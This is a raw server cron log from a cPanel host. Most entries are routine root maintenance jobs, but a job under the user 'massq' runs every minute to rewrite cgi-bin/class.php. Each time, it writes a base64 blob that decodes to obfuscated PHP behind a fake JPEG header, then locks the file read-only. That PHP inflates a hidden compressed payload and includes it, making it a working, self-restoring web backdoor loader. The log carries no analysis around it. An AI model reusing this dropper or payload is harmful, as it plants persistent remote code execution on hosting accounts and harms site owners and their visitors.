Sep  3 18:29:01 server CROND[11110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:29:01 server CROND[11111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:29:01 server CROND[11112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:30:01 server CROND[11489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:30:01 server CROND[11490]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:30:01 server CROND[11494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:30:01 server CROND[11493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:30:01 server CROND[11497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:30:01 server CROND[11496]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:30:01 server CROND[11495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:30:01 server CROND[11498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:31:01 server CROND[12430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:31:01 server CROND[12431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:31:01 server CROND[12433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:32:01 server CROND[12811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:32:01 server CROND[12812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:32:01 server CROND[12813]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:33:01 server CROND[13182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:33:01 server CROND[13184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:33:01 server CROND[13185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:34:01 server CROND[13549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:34:01 server CROND[13550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:34:01 server CROND[13551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:35:01 server CROND[13946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:35:01 server CROND[13948]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 18:35:01 server CROND[13966]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 18:35:01 server CROND[13968]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:35:01 server CROND[13967]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 18:35:01 server CROND[13965]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 18:35:01 server CROND[13969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:35:01 server CROND[13972]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:35:01 server CROND[13964]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:36:01 server CROND[14780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:36:01 server CROND[14781]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:36:01 server CROND[14782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:37:01 server CROND[15245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:37:01 server CROND[15246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:37:01 server CROND[15247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:38:01 server CROND[15621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:38:01 server CROND[15622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:38:01 server CROND[15623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:39:01 server CROND[15995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 18:39:01 server CROND[15996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:39:01 server CROND[15997]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 18:39:01 server CROND[15998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 18:40:01 server CROND[16384]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 18:40:01 server CROND[16385]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 18:40:01 server CROND[16386]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 18:40:01 server CROND[16395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 18:40:01 server CROND[16399]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
